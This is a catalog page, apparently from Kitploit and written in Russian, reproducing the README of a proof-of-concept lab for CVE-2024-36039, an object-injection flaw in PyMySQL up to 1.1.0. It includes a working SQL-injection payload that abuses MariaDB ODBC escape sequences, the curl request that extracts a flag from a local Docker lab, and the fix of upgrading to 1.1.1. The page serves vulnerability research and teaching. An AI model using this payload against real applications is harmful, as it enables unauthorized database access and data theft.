Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-36039_PoC — PoC для CVE-2024-36039: Демонстрация SQL-инъекции через уязвимость сериализации Object-to-String в PyMySQL | Kitploit
Инструменты/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

PoC для CVE-2024-36039: Демонстрация SQL-инъекции через уязвимость сериализации Object-to-String в PyMySQL

Репозиторий
1126 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-36039: Инъекция объектов PyMySQL в SQL-инъекцию PoC

Docker Python MariaDB Vulnerability CVE

Полная, воспроизводимая лабораторная работа Proof of Concept (PoC) для CVE-2024-36039, демонстрирующая, как уязвимость внедрения объектов в PyMySQL (версии <= 1.1.0) может быть повышена до полной SQL-инъекции с использованием ODBC-escape-последовательностей MariaDB.


⚠️ ПРАВОВОЕ И ЭТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ (ТОЛЬКО ДЛЯ ЭТИЧЕСКОГО ИСПОЛЬЗОВАНИЯ)

  • Этот репозиторий предназначен только для академических и исследовательских целей.
  • Предоставленный код и методики НЕ ДОЛЖНЫ использоваться для вмешательства в работу любой системы, которая вам не принадлежит или на тестирование которой у вас нет явного письменного разрешения.
  • Автор/участники НЕ НЕСУТ ответственности за любые последствия или ущерб, вызванные неправильным использованием данной информации.
  • Используя этот репозиторий, вы соглашаетесь соблюдать данные условия.

📖 1. Обзор уязвимости

CVE-2024-36039 — это уязвимость в PyMySQL, клиентской библиотеке MySQL на чистом Python.

Когда параметризованные запросы (например, execute("SELECT * FROM table WHERE data = %s", (my_dict,))) получают словарь Python, в котором ключи являются пользовательскими объектами, а не стандартными строками, PyMySQL использует метод __str__ или __repr__ объекта для его сериализации в SQL-строку.

Ошибка: PyMySQL забывает экранировать (заключить в одинарные кавычки) результирующую строку ключа объекта. Это приводит к тому, что в SQL-выражение, отформатированное как словарь, вставляется неэкранированная, незакавыченная строка: {UnquotedObjectString: 'EscapedValue'}.


🔬 2. Техническое описание: трюк с ODBC MariaDB

Сама по себе вставка {UnquotedKey: 'Value'} в запрос MariaDB вызовет синтаксическую ошибку 1064, поскольку {} не является стандартным синтаксисом данных SQL.

Однако MariaDB/MySQL поддерживает ODBC-escape-последовательности, которые используют фигурные скобки {}. Чтобы обойти синтаксическую ошибку, строка, следующая сразу за {, должна быть допустимым ключевым словом ODBC (например, d, t, ts, fn).

Цепочка эксплуатации:

  1. Ключ объекта (точка внедрения): Мы создаём пользовательский объект, который возвращает fn/* через свой метод __repr__.
  2. Значение (полезная нагрузка): Мы устанавливаем значение словаря в */ 1} UNION SELECT 1, flag, 3 FROM secret -- .
  3. Сериализация PyMySQL: PyMySQL форматирует этот словарь в SQL-запрос без кавычек для ключа:
    SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
    
  4. Магия парсинга MariaDB:
    • {fn : MariaDB распознаёт начало ODBC-скалярной функции.
    • /*: "'*/ : MariaDB обрабатывает это как блочный комментарий. Двоеточие : и открывающая кавычка ', сгенерированные PyMySQL, полностью игнорируются!
    • 1} : Завершает ODBC-функцию (фактически возвращая целое число 1).
    • UNION SELECT 1, flag, 3 FROM secret : Выполняется внедрённая полезная нагрузка SQL.
    • -- '"} : SQL-комментарий игнорирует остаток мусора ('}).

Результат: Безупречная SQL-инъекция, обходящая как логику приложения, так и параметризацию PyMySQL!


🛠️ 3. Инструкции по настройке лаборатории

Предварительные требования

  • Docker
  • Docker Compose

Установка

Клонируйте этот репозиторий и запустите окружение:

git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(Подождите около 15–20 секунд для полной инициализации контейнера MariaDB).


🎯 4. Этапы эксплуатации

Шаг 1: Обычный запрос

Отправьте стандартный JSON-запрос. Бэкенд преобразует ключ JSON в объект CustomKey.

curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

Ответ: Вы получите синтаксическую ошибку SQL, указывающую, что {yamato: "'Any_value'"} не является допустимым SQL, что подтверждает точку внедрения.

Шаг 2: Эксплойт (извлечение флага)

Внедрите полезную нагрузку ODBC-escape-последовательности, чтобы обойти синтаксическую ошибку и извлечь скрытый флаг из таблицы secret.

curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

Ответ (PWNED!):

{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. Исправление

Для устранения этой уязвимости обновите PyMySQL до версии 1.1.1 или выше.

В исправленных версиях разработчики гарантируют, что все ключи словарей, независимо от их типа, правильно экранируются и заключаются в кавычки перед вставкой в SQL-выражение.

pip install --upgrade PyMySQL

📚 6. Авторство и ссылки

  • CVE-2024-36039 Advisory: NVD - CVE-2024-36039
  • Патч безопасности PyMySQL: PyMySQL GitHub Release v1.1.1
  • ODBC-escape-последовательности MariaDB: Документация MariaDB
  • Вдохновение: Эта лабораторная среда была создана на основе современных методов веб-эксплуатации, связанных с ошибками сериализации объектов в строки.

Отказ от ответственности: Этот репозиторий создан исключительно для образовательных и исследовательских целей. Не используйте эти методы против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

© 2026 от zenniskayy. Создано для более безопасного интернета.

Скачать инструмент